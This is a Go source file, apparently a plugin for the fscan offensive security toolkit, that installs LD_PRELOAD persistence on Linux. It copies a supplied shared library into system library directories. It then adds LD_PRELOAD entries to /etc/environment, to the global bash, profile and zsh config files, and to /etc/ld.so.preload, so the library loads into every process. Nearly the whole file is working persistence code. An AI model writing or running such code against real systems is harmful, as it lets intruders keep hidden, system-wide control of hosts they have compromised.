package ldpreload

import (
	"context"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// LDPreloadPlugin LD_PRELOAD持久化插件 - 使用简化架构
type LDPreloadPlugin struct {
	*local.BaseLocalPlugin
	targetFile string
}

// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 - 简化版本
func NewLDPreloadPlugin() *LDPreloadPlugin {
	// 从全局参数获取目标文件路径
	targetFile := common.PersistenceTargetFile
	if targetFile == "" {
		targetFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "ldpreload",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Linux LD_PRELOAD持久化插件，通过动态库预加载实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "linux", "ldpreload"},
		Protocols:   []string{"local"},
	}

	plugin := &LDPreloadPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		targetFile:      targetFile,
	}

	// 只支持Linux平台
	plugin.SetPlatformSupport([]string{"linux"})
	// 需要写入系统配置文件的权限
	plugin.SetRequiresPrivileges(false)

	return plugin
}

// Initialize 初始化插件
func (p *LDPreloadPlugin) Initialize() error {
	if p.targetFile == "" {
		return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
		return fmt.Errorf("目标文件不存在: %s", p.targetFile)
	}
	
	// 检查文件类型
	if !p.isValidFile(p.targetFile) {
		return fmt.Errorf("目标文件必须是 .so 动态库文件: %s", p.targetFile)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行LD_PRELOAD持久化 - 简化版本
func (p *LDPreloadPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	if runtime.GOOS != "linux" {
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("LD_PRELOAD持久化只支持Linux平台"),
		}, nil
	}
	
	common.LogBase("开始LD_PRELOAD持久化...")
	common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
	
	// 执行持久化操作
	results := make([]string, 0)
	
	// 1. 复制文件到系统目录
	systemPath, err := p.copyToSystemPath()
	if err != nil {
		common.LogError(fmt.Sprintf("复制文件到系统目录失败: %v", err))
	} else {
		results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath))
		common.LogSuccess(fmt.Sprintf("文件已复制到: %s", systemPath))
	}
	
	// 2. 添加到全局环境变量
	err = p.addToEnvironment(systemPath)
	if err != nil {
		common.LogError(fmt.Sprintf("添加环境变量失败: %v", err))
	} else {
		results = append(results, "已添加到 /etc/environment")
		common.LogSuccess("已添加到全局环境变量")
	}
	
	// 3. 添加到shell配置文件
	shellConfigs, err := p.addToShellConfigs(systemPath)
	if err != nil {
		common.LogError(fmt.Sprintf("添加到shell配置失败: %v", err))
	} else {
		results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", ")))
		common.LogSuccess("已添加到shell配置文件")
	}
	
	// 4. 创建库配置文件
	err = p.createLdConfig(systemPath)
	if err != nil {
		common.LogError(fmt.Sprintf("创建ld配置失败: %v", err))
	} else {
		results = append(results, "已创建 /etc/ld.so.preload 配置")
		common.LogSuccess("已创建ld预加载配置")
	}
	
	success := len(results) > 0
	
	result := &base.ScanResult{
		Success: success,
		Service: "LDPreloadPersistence",
		Banner:  fmt.Sprintf("LD_PRELOAD持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
		Extra: map[string]interface{}{
			"target_file": p.targetFile,
			"platform":    runtime.GOOS,
			"methods":     results,
			"status":      "completed",
		},
	}
	
	return result, nil
}

// copyToSystemPath 复制文件到系统目录
func (p *LDPreloadPlugin) copyToSystemPath() (string, error) {
	// 选择合适的系统目录
	systemDirs := []string{
		"/usr/lib/x86_64-linux-gnu",
		"/usr/lib64",
		"/usr/lib",
		"/lib/x86_64-linux-gnu", 
		"/lib64",
		"/lib",
	}
	
	var targetDir string
	for _, dir := range systemDirs {
		if _, err := os.Stat(dir); err == nil {
			targetDir = dir
			break
		}
	}
	
	if targetDir == "" {
		return "", fmt.Errorf("找不到合适的系统库目录")
	}
	
	// 生成目标路径
	basename := filepath.Base(p.targetFile)
	if !strings.HasPrefix(basename, "lib") {
		basename = "lib" + basename
	}
	if !strings.HasSuffix(basename, ".so") {
		basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
	}
	
	targetPath := filepath.Join(targetDir, basename)
	
	// 复制文件
	err := p.copyFile(p.targetFile, targetPath)
	if err != nil {
		return "", err
	}
	
	// 设置权限
	os.Chmod(targetPath, 0755)
	
	return targetPath, nil
}

// copyFile 复制文件
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
	cmd := exec.Command("cp", src, dst)
	return cmd.Run()
}

// addToEnvironment 添加到全局环境变量
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
	envFile := "/etc/environment"
	
	// 读取现有内容
	content := ""
	if data, err := os.ReadFile(envFile); err == nil {
		content = string(data)
	}
	
	// 检查是否已存在
	ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
	if strings.Contains(content, libPath) {
		return nil // 已存在
	}
	
	// 添加新行
	if !strings.HasSuffix(content, "\n") && content != "" {
		content += "\n"
	}
	content += ldPreloadLine + "\n"
	
	// 写入文件
	return os.WriteFile(envFile, []byte(content), 0644)
}

// addToShellConfigs 添加到shell配置文件
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
	configFiles := []string{
		"/etc/bash.bashrc",
		"/etc/profile",
		"/etc/zsh/zshrc",
	}
	
	ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
	var modified []string
	
	for _, configFile := range configFiles {
		if _, err := os.Stat(configFile); os.IsNotExist(err) {
			continue
		}
		
		// 读取现有内容
		content := ""
		if data, err := os.ReadFile(configFile); err == nil {
			content = string(data)
		}
		
		// 检查是否已存在
		if strings.Contains(content, libPath) {
			continue
		}
		
		// 添加新行
		if !strings.HasSuffix(content, "\n") && content != "" {
			content += "\n"
		}
		content += ldPreloadLine + "\n"
		
		// 写入文件
		if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
			modified = append(modified, configFile)
		}
	}
	
	if len(modified) == 0 {
		return nil, fmt.Errorf("无法修改任何shell配置文件")
	}
	
	return modified, nil
}

// createLdConfig 创建ld预加载配置
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
	configFile := "/etc/ld.so.preload"
	
	// 读取现有内容
	content := ""
	if data, err := os.ReadFile(configFile); err == nil {
		content = string(data)
	}
	
	// 检查是否已存在
	if strings.Contains(content, libPath) {
		return nil
	}
	
	// 添加新行
	if !strings.HasSuffix(content, "\n") && content != "" {
		content += "\n"
	}
	content += libPath + "\n"
	
	// 写入文件
	return os.WriteFile(configFile, []byte(content), 0644)
}

// isValidFile 检查文件类型
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	
	// 检查扩展名
	if ext == ".so" || ext == ".elf" {
		return true
	}
	
	// 检查文件内容（ELF魔数）
	file, err := os.Open(filePath)
	if err != nil {
		return false
	}
	defer file.Close()
	
	header := make([]byte, 4)
	if n, err := file.Read(header); err != nil || n < 4 {
		return false
	}
	
	// ELF魔数: 0x7f 0x45 0x4c 0x46
	return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
}

// GetLocalData 获取LD_PRELOAD持久化本地数据
func (p *LDPreloadPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	
	data["plugin_type"] = "ldpreload"
	data["platform"] = runtime.GOOS
	data["target_file"] = p.targetFile
	data["persistence_method"] = "LD_PRELOAD"
	
	if hostname, err := os.Hostname(); err == nil {
		data["hostname"] = hostname
	}
	
	return data, nil
}

// ExtractData 提取数据
func (p *LDPreloadPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	return &base.ExploitResult{
		Success: true,
		Output:  fmt.Sprintf("LD_PRELOAD持久化完成，目标文件: %s", p.targetFile),
		Data:    data,
		Extra: map[string]interface{}{
			"target_file":         p.targetFile,
			"persistence_method":  "LD_PRELOAD",
			"status":             "completed",
		},
	}, nil
}

// GetInfo 获取插件信息
func (p *LDPreloadPlugin) GetInfo() string {
	var info strings.Builder
	
	info.WriteString("LD_PRELOAD持久化插件\n")
	info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
	info.WriteString("支持平台: Linux\n")
	info.WriteString("功能: 通过LD_PRELOAD机制实现动态库预加载持久化\n")
	info.WriteString("方法: 环境变量、shell配置、ld.so.preload配置\n")
	info.WriteString("要求: 目标文件必须是.so动态库或ELF文件\n")
	
	return info.String()
}

// RegisterLDPreloadPlugin 注册LD_PRELOAD持久化插件
func RegisterLDPreloadPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "ldpreload",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Linux LD_PRELOAD持久化插件，通过动态库预加载实现持久化",
			Category:    "local",
			Tags:        []string{"ldpreload", "local", "persistence", "linux"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewLDPreloadPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("ldpreload", factory)
}

// init 插件注册函数
func init() {
	RegisterLDPreloadPlugin()
}